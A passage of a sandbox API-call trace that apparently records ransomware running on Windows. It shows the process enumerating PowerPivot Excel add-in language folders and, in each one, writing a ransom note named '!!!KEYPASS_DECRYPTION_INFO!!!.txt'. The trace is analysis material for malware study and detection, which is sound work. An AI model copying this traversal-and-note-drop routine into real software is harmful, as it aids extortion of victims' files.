[0255.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\LocalizedStrings.xml") returned=".xml" [0255.716] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.716] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.716] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.716] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.716] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.716] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.717] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.717] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.717] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.717] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.717] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.717] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.717] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.717] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.717] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.717] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.717] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.717] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.718] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.718] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.718] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.718] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.718] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.718] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.718] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.718] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.718] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.718] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.718] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.718] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.718] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.718] GetLastError () returned 0x3f0 [0255.718] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.718] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\th\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9b0 [0255.723] GetFileType (hFile=0x9b0) returned 0x1 [0255.723] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.723] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.723] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.723] WriteFile (in: hFile=0x9b0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.724] WriteFile (in: hFile=0x9b0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.724] CloseHandle (hObject=0x9b0) returned 1 [0255.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0aef8 [0255.724] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.874] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.874] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\LocalizedStrings.xml") returned=".xml" [0255.874] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.874] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.874] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.874] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.874] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.874] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.875] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.875] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.876] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.876] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.876] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.876] FindNextFileW (in: hFindFile=0x3a0aef8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.876] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.876] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.876] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.876] GetLastError () returned 0x3f0 [0255.876] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.876] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c4 [0255.934] GetFileType (hFile=0x9c4) returned 0x1 [0255.934] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.934] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.934] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.934] WriteFile (in: hFile=0x9c4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.935] WriteFile (in: hFile=0x9c4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.935] CloseHandle (hObject=0x9c4) returned 1 [0255.935] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0a9b8 [0255.935] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.946] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.946] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.946] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.947] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\LocalizedStrings.xml") returned=".xml" [0255.947] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.947] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.947] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.947] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.947] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.947] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.947] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.947] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.947] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.947] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.947] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.947] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.947] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.947] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.947] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.947] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.947] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.947] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.947] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.947] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.947] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.947] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.948] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.948] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.948] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.948] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.948] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.948] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.948] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.948] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.948] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.948] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.948] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.948] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.948] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.948] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel 